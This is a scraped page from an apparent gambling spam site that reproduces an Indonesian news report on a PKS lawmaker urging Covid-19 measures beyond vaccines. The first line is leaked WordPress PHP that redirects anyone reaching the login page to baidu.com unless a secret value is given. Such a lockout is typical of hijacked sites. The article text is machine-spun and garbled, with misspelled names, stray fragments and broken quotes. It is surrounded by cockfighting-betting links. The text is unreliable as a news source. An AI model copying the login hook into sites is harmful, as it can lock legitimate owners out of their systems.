//̨¼ add_action('login_enqueue_scripts','login_protection'); function login_protection(){ if($_GET['word'] != '2868973770')header('Location: https://www.baidu.com/'); } Anggota parlemen PKS meminta pemerintah untuk mengandalkan lebih dari sekadar vaksin untuk mengalahkan Covid-19 | adu ayam bali_s128.net login_s128.live

Anggota parlemen PKS meminta pemerintah untuk mengandalkan lebih dari sekadar vaksin untuk mengalahkan Covid-19

Liputan Tribunnews.com Vincentius Jyestha-Jakarta, TRIBUNNEWS.COM-Sukamta, Wakil Ketua Fraksi Partai Keadilan Sejahtera (PKS), mengatakan upaya pemerintah dalam produksi vaksin dan kerja sama dengan banyak perusahaan di China dan Korea Selatan memang dipertimbangkan. Itu adalah ukuran yang perlu.

Itu saja, Sukamta mengimbau pemerintah tidak hanya mengandalkan vaksin untuk mengatasi Covid-19.

“Menurut saya bagus membangun optimisme masyarakat dengan mempersiapkan produksi vaksin, tapi pemerintah jangan hanya mengandalkan vaksin,” kata Sucamta kepada Tribunnews.com, Selasa (1 September 2020).

Baca: Mutasi Covid yang Ditemukan di 3 Kota Besar Merupakan Mutasi Pertama di Surabaya, dan Sepuluh Kali Lebih Menular.

Saya Anggota Panitia DPR RI Yakin Vaksin Sudah Siap Masalah tersebut dikomunikasikan dengan gencar oleh pemerintah karena sudah ada diskusi tentang pelonggaran PSBB di masa lalu dan normal baru dapat mempengaruhi perilaku masyarakat. Ia menambahkan: “Jika masyarakat merespon seperti ini, maka penyebaran virus akan semakin sulit.” Di sisi lain, kasus positif di Indonesia terus meningkat, memecahkan rekor harian. Sama seperti Sabtu (29/8) lalu, setiap harinya ada 3.308 kasus.

Sukamta menilai hal tersebut terjadi karena hingga saat ini belum diketahui kapan puncak kurva penularan virus akan terjadi.

Bacaan: Novel Empat Anak “Baswedan Positif Covid-19”, Hasil Tes Usap Istri Masih Belum Diketahui-Meski Karena Keterbatasan Sumber Daya Manusia dan Alat, Kapasitas Tes Masih Terbatas, Tapi Bahkan Ada Laporan , Jumlah orang di beberapa daerah telah dikurangi untuk pengujian sehingga jumlah positif tidak akan meningkat.

“Para ahli epidemiologi sedang bekerja keras untuk memprediksi puncak dan akhir penularan Covid-19 di Indonesia. Beberapa orang mengatakan bahwa saat menangani Covid-19, ia mengatakan:” Keadaannya masih sangat lamban hingga awal semester 2021. Puncak hanya akan muncul. “He.

Selain itu, karena kebutuhan ekonomi, masyarakat sendiri mulai melakukan aktivitas seperti biasa, dan disiplin perjanjian kesehatan masih sulit ditegakkan.

“ Keadaan ini harus diselesaikan secara bertahap oleh kelompok kerja percepatan penanganan COVID-19. Jika kemampuan pengujian dan pelacakan masih rendah, bagaimana cara memaksimalkan intensitas perawatan? . Ini harus diprioritaskan oleh pemerintah “, pungkasnya.

Leave a comment

adu ayam bali_s128.net login_s128.live